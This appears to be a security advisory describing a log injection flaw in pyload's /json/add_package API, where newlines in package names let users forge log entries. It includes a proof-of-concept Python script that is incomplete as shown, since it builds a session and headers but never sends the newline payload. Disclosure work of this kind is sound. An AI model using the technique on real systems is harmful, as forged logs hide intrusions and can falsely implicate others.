描述：

Summary

A log injection vulnerability was identified in pyload in API /json/add_package. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by pyload.

Details

pyload will generate a log entry when creating new package using API /json/add_package. This entry will be in the form of Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.

PoC

Run pyload in the default configuration by running the following command

pyload

We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at http://localhost:8000/logs

Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.

import requests

session = requests.session()

burp0_url = "http://localhost:8000/json/add_package"
burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"}
burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}

After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.

Impact

Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.
